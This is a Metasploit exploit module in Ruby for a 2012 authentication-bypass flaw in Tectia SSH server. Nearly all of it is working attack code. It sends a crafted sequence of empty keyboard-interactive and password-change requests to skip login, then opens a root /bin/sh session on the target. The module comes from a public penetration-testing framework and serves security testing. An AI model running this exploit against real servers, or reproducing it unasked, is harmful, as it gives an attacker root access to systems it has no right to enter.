## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'kingcope', #Original 0day 'bperry', 'sinn3r' ], 'References' => [ ['EDB', '23082'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['Unix-based Tectia SSH 6.3.2.33 or prior', {}], ], 'Privileged' => true, 'DisclosureDate' => "Dec 01 2012", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'The username to login as', 'root']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check connect banner = sock.get_once print_status("#{rhost}:#{rport} - #{banner}") disconnect return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/ return Exploit::CheckCode::Safe end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end # # This is where the login begins. We're expected to use the keyboard-interactive method to # authenticate, but really all we want is skipping it so we can move on to the password # method authentication. # def auth_keyboard_interactive(user, transport) print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...") auth_req_pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "keyboard-interactive", #method name :string, "", #lang :string, "" ) user_auth_pkt = Net::SSH::Buffer.from( :byte, 0x3D, #userauth info :raw, 0x01, #number of prompts :string, "", #password :raw, "\0"*32 #padding ) transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive") message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") 2.times do |i| #USRAUTH REQ transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") end end # # The following link is useful to understand how to craft the USERAUTH password change # request packet: # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903 # def userauth_passwd_change(user, transport, connection) print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password" #method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message.type vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true) connection = nil return shell end end end def do_login(user) opts = {:user=>user, :record_auth_info=>true} options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) transport = Net::SSH::Transport::Session.new(rhost, options) connection = Net::SSH::Connection::Session.new(transport, options) auth_keyboard_interactive(user, transport) userauth_passwd_change(user, transport, connection) end def exploit # Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're # engaging a variety of SSHD targets on a network. if check != Exploit::CheckCode::Appears print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.") return end c = nil begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do c = do_login(datastore['USERNAME']) end rescue Rex::ConnectionError, Rex::AddressInUse return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return end handler(c.lsock) if c end end